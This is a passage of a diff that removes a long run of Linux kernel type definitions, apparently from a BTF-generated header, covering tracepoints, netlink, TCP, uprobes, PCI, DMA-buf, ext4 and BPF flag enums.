-typedef void blk_log_action_t(struct trace_iterator *, const char *, bool); - -struct shmem_sb_info { - long unsigned int max_blocks; - struct percpu_counter used_blocks; - long unsigned int max_inodes; - long unsigned int free_inodes; - raw_spinlock_t stat_lock; - umode_t mode; - unsigned char huge; - kuid_t uid; - kgid_t gid; - bool full_inums; - ino_t next_ino; - ino_t *ino_batch; - struct mempolicy *mpol; - spinlock_t shrinklist_lock; - struct list_head shrinklist; - long unsigned int shrinklist_len; -}; - -struct shmem_falloc { - wait_queue_head_t *waitq; - long unsigned int start; - long unsigned int next; - long unsigned int nr_falloced; - long unsigned int nr_unswapped; -}; - -struct shmem_options { - long long unsigned int blocks; - long long unsigned int inodes; - struct mempolicy *mpol; - kuid_t uid; - kgid_t gid; - umode_t mode; - bool full_inums; - int huge; - int seen; -}; - -enum shmem_param { - Opt_gid___4 = 0, - Opt_huge = 1, - Opt_mode___5 = 2, - Opt_mpol = 3, - Opt_nr_blocks = 4, - Opt_nr_inodes___2 = 5, - Opt_size___2 = 6, - Opt_uid___4 = 7, - Opt_inode32 = 8, - Opt_inode64 = 9, -}; - -struct trace_event_raw_netfs_read { - struct trace_entry ent; - unsigned int rreq; - unsigned int cookie; - loff_t start; - size_t len; - enum netfs_read_trace what; - unsigned int netfs_inode; - char __data[0]; -}; - -struct trace_event_raw_netfs_rreq { - struct trace_entry ent; - unsigned int rreq; - unsigned int flags; - enum netfs_io_origin origin; - enum netfs_rreq_trace what; - char __data[0]; -}; - -struct trace_event_raw_netfs_sreq { - struct trace_entry ent; - unsigned int rreq; - short unsigned int index; - short int error; - short unsigned int flags; - enum netfs_io_source source; - enum netfs_sreq_trace what; - size_t len; - size_t transferred; - loff_t start; - char __data[0]; -}; - -struct trace_event_raw_netfs_failure { - struct trace_entry ent; - unsigned int rreq; - short int index; - short int error; - short unsigned int flags; - enum netfs_io_source source; - enum netfs_failure what; - size_t len; - size_t transferred; - loff_t start; - char __data[0]; -}; - -struct trace_event_raw_netfs_rreq_ref { - struct trace_entry ent; - unsigned int rreq; - int ref; - enum netfs_rreq_ref_trace what; - char __data[0]; -}; - -struct trace_event_raw_netfs_sreq_ref { - struct trace_entry ent; - unsigned int rreq; - unsigned int subreq; - int ref; - enum netfs_sreq_ref_trace what; - char __data[0]; -}; - -struct trace_event_data_offsets_netfs_read {}; - -struct trace_event_data_offsets_netfs_rreq {}; - -struct trace_event_data_offsets_netfs_sreq {}; - -struct trace_event_data_offsets_netfs_failure {}; - -struct trace_event_data_offsets_netfs_rreq_ref {}; - -struct trace_event_data_offsets_netfs_sreq_ref {}; - -typedef void (*btf_trace_netfs_read)(void *, struct netfs_io_request *, loff_t, size_t, enum netfs_read_trace); - -typedef void (*btf_trace_netfs_rreq)(void *, struct netfs_io_request *, enum netfs_rreq_trace); - -typedef void (*btf_trace_netfs_sreq)(void *, struct netfs_io_subrequest *, enum netfs_sreq_trace); - -typedef void (*btf_trace_netfs_failure)(void *, struct netfs_io_request *, struct netfs_io_subrequest *, int, enum netfs_failure); - -typedef void (*btf_trace_netfs_rreq_ref)(void *, unsigned int, int, enum netfs_rreq_ref_trace); - -typedef void (*btf_trace_netfs_sreq_ref)(void *, unsigned int, unsigned int, int, enum netfs_sreq_ref_trace); - -struct tracefs_dir_ops { - int (*mkdir)(const char *); - int (*rmdir)(const char *); -}; - -struct tracefs_mount_opts { - kuid_t uid; - kgid_t gid; - umode_t mode; - unsigned int opts; -}; - -struct tracefs_fs_info { - struct tracefs_mount_opts mount_opts; -}; - -struct broken_edid { - u8 manufacturer[4]; - u32 model; - u32 fix; -}; - -struct __fb_timings { - u32 dclk; - u32 hfreq; - u32 vfreq; - u32 hactive; - u32 vactive; - u32 hblank; - u32 vblank; - u32 htotal; - u32 vtotal; -}; - -struct transport_container; - -struct transport_class { - struct class class; - int (*setup)(struct transport_container *, struct device *, struct device *); - int (*configure)(struct transport_container *, struct device *, struct device *); - int (*remove)(struct transport_container *, struct device *, struct device *); -}; - -struct transport_container { - struct attribute_container ac; - const struct attribute_group *statistics; -}; - -struct anon_transport_class { - struct transport_class tclass; - struct attribute_container container; -}; - -struct cytp_contact { - int x; - int y; - int z; -}; - -struct cytp_report_data { - int contact_cnt; - struct cytp_contact contacts[2]; - unsigned int left: 1; - unsigned int right: 1; - unsigned int middle: 1; - unsigned int tap: 1; -}; - -struct cytp_data { - int fw_version; - int pkt_size; - int mode; - int tp_min_pressure; - int tp_max_pressure; - int tp_width; - int tp_high; - int tp_max_abs_x; - int tp_max_abs_y; - int tp_res_x; - int tp_res_y; - int tp_metrics_supported; -}; - -enum { - UNDEFINED_CAPABLE = 0, - SYSTEM_INTEL_MSR_CAPABLE = 1, - SYSTEM_AMD_MSR_CAPABLE = 2, - SYSTEM_IO_CAPABLE = 3, -}; - -struct acpi_cpufreq_data { - unsigned int resume; - unsigned int cpu_feature; - unsigned int acpi_perf_cpu; - cpumask_var_t freqdomain_cpus; - void (*cpu_freq_write)(struct acpi_pct_register *, u32); - u32 (*cpu_freq_read)(struct acpi_pct_register *); -}; - -struct drv_cmd { - struct acpi_pct_register *reg; - u32 val; - union { - void (*write)(struct acpi_pct_register *, u32); - u32 (*read)(struct acpi_pct_register *); - } func; -}; - -struct compat_ifconf { - compat_int_t ifc_len; - compat_caddr_t ifcbuf; -}; - -struct mld2_grec { - __u8 grec_type; - __u8 grec_auxwords; - __be16 grec_nsrcs; - struct in6_addr grec_mca; - struct in6_addr grec_src[0]; -}; - -struct mld2_report { - struct icmp6hdr mld2r_hdr; - struct mld2_grec mld2r_grec[0]; -}; - -struct mld2_query { - struct icmp6hdr mld2q_hdr; - struct in6_addr mld2q_mca; - __u8 mld2q_qrv: 3; - __u8 mld2q_suppress: 1; - __u8 mld2q_resv2: 4; - __u8 mld2q_qqic; - __be16 mld2q_nsrcs; - struct in6_addr mld2q_srcs[0]; -}; - -struct igmp6_mc_iter_state { - struct seq_net_private p; - struct net_device *dev; - struct inet6_dev *idev; -}; - -struct igmp6_mcf_iter_state { - struct seq_net_private p; - struct net_device *dev; - struct inet6_dev *idev; - struct ifmcaddr6 *im; -}; - -struct vmap_area { - long unsigned int va_start; - long unsigned int va_end; - struct rb_node rb_node; - struct list_head list; - union { - long unsigned int subtree_max_size; - struct vm_struct *vm; - }; -}; - -typedef unsigned int kasan_vmalloc_flags_t; - -struct vfree_deferred { - struct llist_head list; - struct work_struct wq; -}; - -enum fit_type { - NOTHING_FIT = 0, - FL_FIT_TYPE = 1, - LE_FIT_TYPE = 2, - RE_FIT_TYPE = 3, - NE_FIT_TYPE = 4, -}; - -struct vmap_block_queue { - spinlock_t lock; - struct list_head free; -}; - -struct vmap_block { - spinlock_t lock; - struct vmap_area *va; - long unsigned int free; - long unsigned int dirty; - long unsigned int dirty_min; - long unsigned int dirty_max; - struct list_head free_list; - struct callback_head callback_head; - struct list_head purge; -}; - -struct blk_integrity_profile; - -struct blk_integrity { - const struct blk_integrity_profile *profile; - unsigned char flags; - unsigned char tuple_size; - unsigned char interval_exp; - unsigned char tag_size; -}; - -struct blk_integrity_iter; - -typedef blk_status_t integrity_processing_fn(struct blk_integrity_iter *); - -typedef void integrity_prepare_fn(struct request *); - -typedef void integrity_complete_fn(struct request *, unsigned int); - -struct blk_integrity_profile { - integrity_processing_fn *generate_fn; - integrity_processing_fn *verify_fn; - integrity_prepare_fn *prepare_fn; - integrity_complete_fn *complete_fn; - const char *name; -}; - -struct blk_integrity_iter { - void *prot_buf; - void *data_buf; - sector_t seed; - unsigned int data_size; - short unsigned int interval; - unsigned char tuple_size; - const char *disk_name; -}; - -struct bdev_inode { - struct block_device bdev; - struct inode vfs_inode; -}; - -struct strarray { - char **array; - size_t n; -}; - -struct byd_data { - struct timer_list timer; - struct psmouse *psmouse; - s32 abs_x; - s32 abs_y; - volatile long unsigned int last_touch_time; - bool btn_left; - bool btn_right; - bool touch; -}; - -struct linkinfo_reply_data { - struct ethnl_reply_data base; - struct ethtool_link_ksettings ksettings; - struct ethtool_link_settings *lsettings; -}; - -struct tcp_repair_opt { - __u32 opt_code; - __u32 opt_val; -}; - -struct tcp_repair_window { - __u32 snd_wl1; - __u32 snd_wnd; - __u32 max_window; - __u32 rcv_wnd; - __u32 rcv_wup; -}; - -enum { - TCP_NLA_PAD = 0, - TCP_NLA_BUSY = 1, - TCP_NLA_RWND_LIMITED = 2, - TCP_NLA_SNDBUF_LIMITED = 3, - TCP_NLA_DATA_SEGS_OUT = 4, - TCP_NLA_TOTAL_RETRANS = 5, - TCP_NLA_PACING_RATE = 6, - TCP_NLA_DELIVERY_RATE = 7, - TCP_NLA_SND_CWND = 8, - TCP_NLA_REORDERING = 9, - TCP_NLA_MIN_RTT = 10, - TCP_NLA_RECUR_RETRANS = 11, - TCP_NLA_DELIVERY_RATE_APP_LMT = 12, - TCP_NLA_SNDQ_SIZE = 13, - TCP_NLA_CA_STATE = 14, - TCP_NLA_SND_SSTHRESH = 15, - TCP_NLA_DELIVERED = 16, - TCP_NLA_DELIVERED_CE = 17, - TCP_NLA_BYTES_SENT = 18, - TCP_NLA_BYTES_RETRANS = 19, - TCP_NLA_DSACK_DUPS = 20, - TCP_NLA_REORD_SEEN = 21, - TCP_NLA_SRTT = 22, - TCP_NLA_TIMEOUT_REHASH = 23, - TCP_NLA_BYTES_NOTSENT = 24, - TCP_NLA_EDT = 25, - TCP_NLA_TTL = 26, - TCP_NLA_REHASH = 27, -}; - -struct tcp_zerocopy_receive { - __u64 address; - __u32 length; - __u32 recv_skip_hint; - __u32 inq; - __s32 err; - __u64 copybuf_address; - __s32 copybuf_len; - __u32 flags; - __u64 msg_control; - __u64 msg_controllen; - __u32 msg_flags; - __u32 reserved; -}; - -enum { - BPF_TCP_ESTABLISHED = 1, - BPF_TCP_SYN_SENT = 2, - BPF_TCP_SYN_RECV = 3, - BPF_TCP_FIN_WAIT1 = 4, - BPF_TCP_FIN_WAIT2 = 5, - BPF_TCP_TIME_WAIT = 6, - BPF_TCP_CLOSE = 7, - BPF_TCP_CLOSE_WAIT = 8, - BPF_TCP_LAST_ACK = 9, - BPF_TCP_LISTEN = 10, - BPF_TCP_CLOSING = 11, - BPF_TCP_NEW_SYN_RECV = 12, - BPF_TCP_MAX_STATES = 13, -}; - -enum { - TCP_CMSG_INQ = 1, - TCP_CMSG_TS = 2, -}; - -struct tcp_splice_state { - struct pipe_inode_info *pipe; - size_t len; - unsigned int flags; -}; - -struct muldiv { - u32 multiplier; - u32 divider; -}; - -struct freq_desc { - bool use_msr_plat; - struct muldiv muldiv[16]; - u32 freqs[16]; - u32 mask; -}; - -struct cpuid_bit { - u16 feature; - u8 reg; - u8 bit; - u32 level; - u32 sub_leaf; -}; - -struct ppin_info { - int feature; - int msr_ppin_ctl; - int msr_ppin; -}; - -struct cpuid_dependent_feature { - u32 feature; - u32 level; -}; - -struct trace_event_raw_mm_filemap_op_page_cache { - struct trace_entry ent; - long unsigned int pfn; - long unsigned int i_ino; - long unsigned int index; - dev_t s_dev; - unsigned char order; - char __data[0]; -}; - -struct trace_event_raw_filemap_set_wb_err { - struct trace_entry ent; - long unsigned int i_ino; - dev_t s_dev; - errseq_t errseq; - char __data[0]; -}; - -struct trace_event_raw_file_check_and_advance_wb_err { - struct trace_entry ent; - struct file *file; - long unsigned int i_ino; - dev_t s_dev; - errseq_t old; - errseq_t new; - char __data[0]; -}; - -struct trace_event_data_offsets_mm_filemap_op_page_cache {}; - -struct trace_event_data_offsets_filemap_set_wb_err {}; - -struct trace_event_data_offsets_file_check_and_advance_wb_err {}; - -typedef void (*btf_trace_mm_filemap_delete_from_page_cache)(void *, struct folio *); - -typedef void (*btf_trace_mm_filemap_add_to_page_cache)(void *, struct folio *); - -typedef void (*btf_trace_filemap_set_wb_err)(void *, struct address_space *, errseq_t); - -typedef void (*btf_trace_file_check_and_advance_wb_err)(void *, struct file *, errseq_t); - -enum behavior { - EXCLUSIVE = 0, - SHARED = 1, - DROP = 2, -}; - -enum tpm_pcrs { - TPM_PCR0 = 0, - TPM_PCR8 = 8, - TPM_PCR10 = 10, -}; - -struct ima_algo_desc { - struct crypto_shash *tfm; - enum hash_algo algo; -}; - -struct rand_data; - -struct jitterentropy { - spinlock_t jent_lock; - struct rand_data *entropy_collector; - unsigned int reset_cnt; -}; - -enum { - IOPRIO_WHO_PROCESS = 1, - IOPRIO_WHO_PGRP = 2, - IOPRIO_WHO_USER = 3, -}; - -struct io_uring_rsrc_update { - __u32 offset; - __u32 resv; - __u64 data; -}; - -enum pcie_reset_state { - pcie_deassert_reset = 1, - pcie_warm_reset = 2, - pcie_hot_reset = 3, -}; - -typedef int (*arch_set_vga_state_t)(struct pci_dev *, bool, unsigned int, u32); - -struct pci_reset_fn_method { - int (*reset_fn)(struct pci_dev *, bool); - char *name; -}; - -struct pci_pme_device { - struct list_head list; - struct pci_dev *dev; -}; - -struct pci_saved_state { - u32 config_space[16]; - struct pci_cap_saved_data cap[0]; -}; - -struct pci_devres { - unsigned int enabled: 1; - unsigned int pinned: 1; - unsigned int orig_intx: 1; - unsigned int restore_intx: 1; - unsigned int mwi: 1; - u32 region_mask; -}; - -typedef u64 (*btf_bpf_rc_repeat)(u32 *); - -typedef u64 (*btf_bpf_rc_keydown)(u32 *, u32, u64, u32); - -typedef u64 (*btf_bpf_rc_pointer_rel)(u32 *, s32, s32); - -struct sockaddr_nl { - __kernel_sa_family_t nl_family; - short unsigned int nl_pad; - __u32 nl_pid; - __u32 nl_groups; -}; - -enum nlmsgerr_attrs { - NLMSGERR_ATTR_UNUSED = 0, - NLMSGERR_ATTR_MSG = 1, - NLMSGERR_ATTR_OFFS = 2, - NLMSGERR_ATTR_COOKIE = 3, - NLMSGERR_ATTR_POLICY = 4, - NLMSGERR_ATTR_MISS_TYPE = 5, - NLMSGERR_ATTR_MISS_NEST = 6, - __NLMSGERR_ATTR_MAX = 7, - NLMSGERR_ATTR_MAX = 6, -}; - -struct nl_pktinfo { - __u32 group; -}; - -enum { - NETLINK_UNCONNECTED = 0, - NETLINK_CONNECTED = 1, -}; - -enum netlink_skb_flags { - NETLINK_SKB_DST = 8, -}; - -struct netlink_tap { - struct net_device *dev; - struct module *module; - struct list_head list; -}; - -struct trace_event_raw_netlink_extack { - struct trace_entry ent; - u32 __data_loc_msg; - char __data[0]; -}; - -struct trace_event_data_offsets_netlink_extack { - u32 msg; -}; - -typedef void (*btf_trace_netlink_extack)(void *, const char *); - -struct netlink_sock { - struct sock sk; - u32 portid; - u32 dst_portid; - u32 dst_group; - u32 flags; - u32 subscriptions; - u32 ngroups; - long unsigned int *groups; - long unsigned int state; - size_t max_recvmsg_len; - wait_queue_head_t wait; - bool bound; - bool cb_running; - int dump_done_errno; - struct netlink_callback cb; - struct mutex *cb_mutex; - struct mutex cb_def_mutex; - void (*netlink_rcv)(struct sk_buff *); - int (*netlink_bind)(struct net *, int); - void (*netlink_unbind)(struct net *, int); - struct module *module; - struct rhash_head node; - struct callback_head rcu; - struct work_struct work; -}; - -struct listeners; - -struct netlink_table { - struct rhashtable hash; - struct hlist_head mc_list; - struct listeners *listeners; - unsigned int flags; - unsigned int groups; - struct mutex *cb_mutex; - struct module *module; - int (*bind)(struct net *, int); - void (*unbind)(struct net *, int); - bool (*compare)(struct net *, struct sock *); - int registered; -}; - -struct listeners { - struct callback_head rcu; - long unsigned int masks[0]; -}; - -struct netlink_tap_net { - struct list_head netlink_tap_all; - struct mutex netlink_tap_lock; -}; - -struct netlink_compare_arg { - possible_net_t pnet; - u32 portid; -}; - -struct netlink_broadcast_data { - struct sock *exclude_sk; - struct net *net; - u32 portid; - u32 group; - int failure; - int delivery_failure; - int congested; - int delivered; - gfp_t allocation; - struct sk_buff *skb; - struct sk_buff *skb2; -}; - -struct netlink_set_err_data { - struct sock *exclude_sk; - u32 portid; - u32 group; - int code; -}; - -struct nl_seq_iter { - struct seq_net_private p; - struct rhashtable_iter hti; - int link; -}; - -struct bpf_iter__netlink { - union { - struct bpf_iter_meta *meta; - }; - union { - struct netlink_sock *sk; - }; -}; - -struct xfrm6_protocol { - int (*handler)(struct sk_buff *); - int (*input_handler)(struct sk_buff *, int, __be32, int); - int (*cb_handler)(struct sk_buff *, int); - int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); - struct xfrm6_protocol *next; - int priority; -}; - -struct irq_info___2 { - u8 bus; - u8 devfn; - struct { - u8 link; - u16 bitmap; - } __attribute__((packed)) irq[4]; - u8 slot; - u8 rfu; -}; - -struct irq_routing_table { - u32 signature; - u16 version; - u16 size; - u8 rtr_bus; - u8 rtr_devfn; - u16 exclusive_irqs; - u16 rtr_vendor; - u16 rtr_device; - u32 miniport_data; - u8 rfu[11]; - u8 checksum; - struct irq_info___2 slots[0]; -}; - -struct irt_routing_table { - u32 signature; - u8 size; - u8 used; - u16 exclusive_irqs; - struct irq_info___2 slots[0]; -}; - -struct irq_router { - char *name; - u16 vendor; - u16 device; - int (*get)(struct pci_dev *, struct pci_dev *, int); - int (*set)(struct pci_dev *, struct pci_dev *, int, int); - int (*lvl)(struct pci_dev *, struct pci_dev *, int, int); -}; - -struct irq_router_handler { - u16 vendor; - int (*probe)(struct irq_router *, struct pci_dev *, u16); -}; - -struct tp_module { - struct list_head list; - struct module *mod; -}; - -enum tp_func_state { - TP_FUNC_0 = 0, - TP_FUNC_1 = 1, - TP_FUNC_2 = 2, - TP_FUNC_N = 3, -}; - -enum tp_transition_sync { - TP_TRANSITION_SYNC_1_0_1 = 0, - TP_TRANSITION_SYNC_N_2_1 = 1, - _NR_TP_TRANSITION_SYNC = 2, -}; - -struct tp_transition_snapshot { - long unsigned int rcu; - long unsigned int srcu; - bool ongoing; -}; - -struct tp_probes { - struct callback_head rcu; - struct tracepoint_func probes[0]; -}; - -struct eprobe_trace_entry_head { - struct trace_entry ent; -}; - -struct trace_eprobe { - const char *event_system; - const char *event_name; - char *filter_str; - struct trace_event_call *event; - struct dyn_event devent; - struct trace_probe tp; -}; - -struct eprobe_data { - struct trace_event_file *file; - struct trace_eprobe *ep; -}; - -typedef u8 uprobe_opcode_t; - -struct uprobe { - struct rb_node rb_node; - refcount_t ref; - struct rw_semaphore register_rwsem; - struct rw_semaphore consumer_rwsem; - struct list_head pending_list; - struct uprobe_consumer *consumers; - struct inode *inode; - loff_t offset; - loff_t ref_ctr_offset; - long unsigned int flags; - struct arch_uprobe arch; -}; - -struct xol_area { - wait_queue_head_t wq; - atomic_t slot_count; - long unsigned int *bitmap; - struct vm_special_mapping xol_mapping; - struct page *pages[2]; - long unsigned int vaddr; -}; - -struct delayed_uprobe { - struct list_head list; - struct uprobe *uprobe; - struct mm_struct *mm; -}; - -struct __uprobe_key { - struct inode *inode; - loff_t offset; -}; - -struct map_info { - struct map_info *next; - struct mm_struct *mm; - long unsigned int vaddr; -}; - -struct iomap_ops; - -struct proc_fs_context { - struct pid_namespace *pid_ns; - unsigned int mask; - enum proc_hidepid hidepid; - int gid; - enum proc_pidonly pidonly; -}; - -enum proc_param { - Opt_gid___5 = 0, - Opt_hidepid = 1, - Opt_subset = 2, -}; - -struct ext4_new_group_input { - __u32 group; - __u64 block_bitmap; - __u64 inode_bitmap; - __u64 inode_table; - __u32 blocks_count; - __u16 reserved_blocks; - __u16 unused; -}; - -struct fsuuid { - __u32 fsu_len; - __u32 fsu_flags; - __u8 fsu_uuid[0]; -}; - -struct move_extent { - __u32 reserved; - __u32 donor_fd; - __u64 orig_start; - __u64 donor_start; - __u64 len; - __u64 moved_len; -}; - -struct fsmap_head { - __u32 fmh_iflags; - __u32 fmh_oflags; - __u32 fmh_count; - __u32 fmh_entries; - __u64 fmh_reserved[6]; - struct fsmap fmh_keys[2]; - struct fsmap fmh_recs[0]; -}; - -typedef void ext4_update_sb_callback(struct ext4_super_block *, const void *); - -struct getfsmap_info { - struct super_block *gi_sb; - struct fsmap_head *gi_data; - unsigned int gi_idx; - __u32 gi_last_flags; -}; - -struct msr_regs_info { - u32 *regs; - int err; -}; - -struct msr_info_completion { - struct msr_info msr; - struct completion done; -}; - -enum { - AML_FIELD_UPDATE_PRESERVE = 0, - AML_FIELD_UPDATE_WRITE_AS_ONES = 32, - AML_FIELD_UPDATE_WRITE_AS_ZEROS = 64, -}; - -struct dw_dma_slave { - struct device *dma_dev; - u8 src_id; - u8 dst_id; - u8 m_master; - u8 p_master; - u8 channels; - bool hs_polarity; -}; - -struct dw_dma_platform_data { - u32 nr_masters; - u32 nr_channels; - u32 chan_allocation_order; - u32 chan_priority; - u32 block_size; - u32 data_width[4]; - u32 multi_block[8]; - u32 max_burst[8]; - u32 protctl; - u32 quirks; -}; - -struct dw_dma; - -struct dw_dma_chip { - struct device *dev; - int id; - int irq; - void *regs; - struct clk *clk; - struct dw_dma *dw; - const struct dw_dma_platform_data *pdata; -}; - -struct lpss8250; - -struct lpss8250_board { - long unsigned int freq; - unsigned int base_baud; - int (*setup)(struct lpss8250 *, struct uart_port *); - void (*exit)(struct lpss8250 *); -}; - -struct lpss8250 { - struct dw8250_port_data data; - struct lpss8250_board *board; - struct dw_dma_chip dma_chip; - struct dw_dma_slave dma_param; - u8 dma_maxburst; -}; - -enum amd_chipset_gen { - NOT_AMD_CHIPSET = 0, - AMD_CHIPSET_SB600 = 1, - AMD_CHIPSET_SB700 = 2, - AMD_CHIPSET_SB800 = 3, - AMD_CHIPSET_HUDSON2 = 4, - AMD_CHIPSET_BOLTON = 5, - AMD_CHIPSET_YANGTZE = 6, - AMD_CHIPSET_TAISHAN = 7, - AMD_CHIPSET_UNKNOWN = 8, -}; - -struct amd_chipset_type { - enum amd_chipset_gen gen; - u8 rev; -}; - -struct amd_chipset_info { - struct pci_dev *nb_dev; - struct pci_dev *smbus_dev; - int nb_type; - struct amd_chipset_type sb_type; - int isoc_reqs; - int probe_count; - bool need_pll_quirk; -}; - -enum txtime_flags { - SOF_TXTIME_DEADLINE_MODE = 1, - SOF_TXTIME_REPORT_ERRORS = 2, - SOF_TXTIME_FLAGS_LAST = 2, - SOF_TXTIME_FLAGS_MASK = 3, -}; - -struct sock_txtime { - __kernel_clockid_t clockid; - __u32 flags; -}; - -struct tracer_stat { - const char *name; - void * (*stat_start)(struct tracer_stat *); - void * (*stat_next)(void *, int); - cmp_func_t stat_cmp; - int (*stat_show)(struct seq_file *, void *); - void (*stat_release)(void *); - int (*stat_headers)(struct seq_file *); -}; - -struct stat_node { - struct rb_node node; - void *stat; -}; - -struct stat_session { - struct list_head session_list; - struct tracer_stat *ts; - struct rb_root stat_root; - struct mutex stat_mutex; - struct dentry *file; -}; - -enum pgt_entry { - NORMAL_PMD = 0, - HPAGE_PMD = 1, - NORMAL_PUD = 2, - HPAGE_PUD = 3, -}; - -typedef int dio_iodone_t(struct kiocb *, loff_t, ssize_t, void *); - -typedef void dio_submit_t(struct bio *, struct inode *, loff_t); - -enum { - DIO_LOCKING = 1, - DIO_SKIP_HOLES = 2, -}; - -struct dio_submit { - struct bio *bio; - unsigned int blkbits; - unsigned int blkfactor; - unsigned int start_zero_done; - int pages_in_io; - sector_t block_in_file; - unsigned int blocks_available; - int reap_counter; - sector_t final_block_in_request; - int boundary; - get_block_t *get_block; - dio_submit_t *submit_io; - loff_t logical_offset_in_bio; - sector_t final_block_in_bio; - sector_t next_block_for_io; - struct page *cur_page; - unsigned int cur_page_offset; - unsigned int cur_page_len; - sector_t cur_page_block; - loff_t cur_page_fs_offset; - struct iov_iter *iter; - unsigned int head; - unsigned int tail; - size_t from; - size_t to; -}; - -struct dio { - int flags; - blk_opf_t opf; - struct gendisk *bio_disk; - struct inode *inode; - loff_t i_size; - dio_iodone_t *end_io; - void *private; - spinlock_t bio_lock; - int page_errors; - int is_async; - bool defer_completion; - bool should_dirty; - int io_error; - long unsigned int refcount; - struct bio *bio_list; - struct task_struct *waiter; - struct kiocb *iocb; - ssize_t result; - union { - struct page *pages[64]; - struct work_struct complete_work; - }; - long: 64; - long: 64; - long: 64; -}; - -struct fd_data { - fmode_t mode; - unsigned int fd; -}; - -struct d_partition___2 { - __le32 p_size; - __le32 p_offset; - __le32 p_fsize; - u8 p_fstype; - u8 p_frag; - __le16 p_cpg; -}; - -struct disklabel___2 { - __le32 d_magic; - __le16 d_type; - __le16 d_subtype; - u8 d_typename[16]; - u8 d_packname[16]; - __le32 d_secsize; - __le32 d_nsectors; - __le32 d_ntracks; - __le32 d_ncylinders; - __le32 d_secpercyl; - __le32 d_secprtunit; - __le16 d_sparespertrack; - __le16 d_sparespercyl; - __le32 d_acylinders; - __le16 d_rpm; - __le16 d_interleave; - __le16 d_trackskew; - __le16 d_cylskew; - __le32 d_headswitch; - __le32 d_trkseek; - __le32 d_flags; - __le32 d_drivedata[5]; - __le32 d_spare[5]; - __le32 d_magic2; - __le16 d_checksum; - __le16 d_npartitions; - __le32 d_bbsize; - __le32 d_sbsize; - struct d_partition___2 d_partitions[18]; -}; - -struct pci_dev_resource { - struct list_head list; - struct resource *res; - struct pci_dev *dev; - resource_size_t start; - resource_size_t end; - resource_size_t add_size; - resource_size_t min_align; - long unsigned int flags; -}; - -enum release_type { - leaf_only = 0, - whole_subtree = 1, -}; - -enum enable_type { - undefined = -1, - user_disabled = 0, - auto_disabled = 1, - user_enabled = 2, - auto_enabled = 3, -}; - -struct apd_private_data; - -struct apd_device_desc { - unsigned int fixed_clk_rate; - struct property_entry *properties; - int (*setup)(struct apd_private_data *); -}; - -struct apd_private_data { - struct clk *clk; - struct acpi_device *adev; - const struct apd_device_desc *dev_desc; -}; - -struct iosys_map { - union { - void *vaddr_iomem; - void *vaddr; - }; - bool is_iomem; -}; - -struct dma_buf; - -struct dma_buf_attachment; - -struct dma_buf_ops { - bool cache_sgt_mapping; - int (*attach)(struct dma_buf *, struct dma_buf_attachment *); - void (*detach)(struct dma_buf *, struct dma_buf_attachment *); - int (*pin)(struct dma_buf_attachment *); - void (*unpin)(struct dma_buf_attachment *); - struct sg_table * (*map_dma_buf)(struct dma_buf_attachment *, enum dma_data_direction); - void (*unmap_dma_buf)(struct dma_buf_attachment *, struct sg_table *, enum dma_data_direction); - void (*release)(struct dma_buf *); - int (*begin_cpu_access)(struct dma_buf *, enum dma_data_direction); - int (*end_cpu_access)(struct dma_buf *, enum dma_data_direction); - int (*mmap)(struct dma_buf *, struct vm_area_struct *); - int (*vmap)(struct dma_buf *, struct iosys_map *); - void (*vunmap)(struct dma_buf *, struct iosys_map *); -}; - -struct dma_buf_poll_cb_t { - struct dma_fence_cb cb; - wait_queue_head_t *poll; - __poll_t active; -}; - -struct dma_buf { - size_t size; - struct file *file; - struct list_head attachments; - const struct dma_buf_ops *ops; - struct mutex lock; - unsigned int vmapping_counter; - struct iosys_map vmap_ptr; - const char *exp_name; - const char *name; - spinlock_t name_lock; - struct module *owner; - struct list_head list_node; - void *priv; - struct dma_resv *resv; - wait_queue_head_t poll; - struct dma_buf_poll_cb_t cb_in; - struct dma_buf_poll_cb_t cb_out; -}; - -struct dma_buf_attach_ops; - -struct dma_buf_attachment { - struct dma_buf *dmabuf; - struct device *dev; - struct list_head node; - struct sg_table *sgt; - enum dma_data_direction dir; - bool peer2peer; - const struct dma_buf_attach_ops *importer_ops; - void *importer_priv; - void *priv; -}; - -struct dma_buf_attach_ops { - bool allow_peer2peer; - void (*move_notify)(struct dma_buf_attachment *); -}; - -struct dma_buf_export_info { - const char *exp_name; - struct module *owner; - const struct dma_buf_ops *ops; - size_t size; - int flags; - struct dma_resv *resv; - void *priv; -}; - -struct dma_buf_sync { - __u64 flags; -}; - -struct dma_buf_export_sync_file { - __u32 flags; - __s32 fd; -}; - -struct dma_buf_import_sync_file { - __u32 flags; - __s32 fd; -}; - -struct dma_buf_list { - struct list_head head; - struct mutex lock; -}; - -struct powernow_k8_data { - unsigned int cpu; - u32 numps; - u32 batps; - u32 rvo; - u32 irt; - u32 vidmvs; - u32 vstable; - u32 plllock; - u32 exttype; - u32 currvid; - u32 currfid; - struct cpufreq_frequency_table *powernow_table; - struct acpi_processor_performance acpi_data; - struct cpumask *available_cores; -}; - -struct psb_s { - u8 signature[10]; - u8 tableversion; - u8 flags1; - u16 vstable; - u8 flags2; - u8 num_tables; - u32 cpuid; - u8 plllocktime; - u8 maxfid; - u8 maxvid; - u8 numps; -}; - -struct pst_s { - u8 fid; - u8 vid; -}; - -struct powernowk8_target_arg { - struct cpufreq_policy *pol; - unsigned int newstate; -}; - -struct init_on_cpu { - struct powernow_k8_data *data; - int rc; -}; - -enum { - BPF_F_RECOMPUTE_CSUM = 1, - BPF_F_INVALIDATE_HASH = 2, -}; - -enum { - BPF_F_HDR_FIELD_MASK = 15, -}; - -enum { - BPF_F_PSEUDO_HDR = 16, - BPF_F_MARK_MANGLED_0 = 32, - BPF_F_MARK_ENFORCE = 64, -}; - -enum { - BPF_F_TUNINFO_IPV6 = 1, -}; - -enum { - BPF_F_ZERO_CSUM_TX = 2, - BPF_F_DONT_FRAGMENT = 4, - BPF_F_SEQ_NUMBER = 8, -}; - -enum { - BPF_F_TUNINFO_FLAGS = 16, -}; - -enum { - BPF_CSUM_LEVEL_QUERY = 0, - BPF_CSUM_LEVEL_INC = 1, - BPF_CSUM_LEVEL_DEC = 2, - BPF_CSUM_LEVEL_RESET = 3, -}; - -enum { - BPF_F_ADJ_ROOM_FIXED_GSO = 1, - BPF_F_ADJ_ROOM_ENCAP_L3_IPV4 = 2, - BPF_F_ADJ_ROOM_ENCAP_L3_IPV6 = 4, - BPF_F_ADJ_ROOM_ENCAP_L4_GRE = 8, - BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 16, - BPF_F_ADJ_ROOM_NO_CSUM_RESET = 32, - BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 64, -}; - -enum { - 